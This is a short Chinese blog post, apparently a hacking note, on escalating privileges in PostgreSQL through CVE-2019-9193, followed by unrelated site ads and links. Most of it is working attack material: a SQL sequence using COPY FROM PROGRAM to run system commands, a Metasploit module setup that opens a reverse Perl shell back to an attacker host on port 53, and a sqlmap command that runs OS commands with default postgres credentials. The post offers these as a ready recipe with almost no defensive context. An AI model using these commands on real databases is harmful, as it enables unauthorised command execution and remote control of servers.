postgresql提权
(CVE-2019-9193)
CVE-2019-9193:PostpreSQL 9.3-11.2 允许经过身份验证的superuser或者拥有pg_read_server_files权限的用户执行任意命令:
drop table if exists cmd_exec;
create table cmd_exec(cmd_output text);
copy cmd_exec from program 'id';
select * from cmd_exec;
drop table if exists cmd_exec;
需要注意的是:命令中的单引号需要用双引号进行转义,如:echo 'test' >> 'echo "test";'
MSF中也有对应的利用模块:
use exploit/multi/postgres/postgres_cmd_execution_nine_three
set RHOST 192.168.1.5
set payload cmd/unix.reverse_perl
set database postgres
set username postgres
set password postgres
set LHOST 192.168.1.6
set LPORT 53
exploit
参考链接:http://t3ngyu.leanote.com/post/Postgresql
UDF提权
sqlmap -d "PostgreSQL://postgres:postgres@192.168.0.13:5432/postgres" --os-cmd id
sqlmap yyds
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 地球OL攻略 —— 某应届生求职总结
· 提示词工程——AI应用必不可少的技术
· Open-Sora 2.0 重磅开源!
· 周边上新:园子的第一款马克杯温暖上架
2019-01-28 MYSQL注入各种骚姿势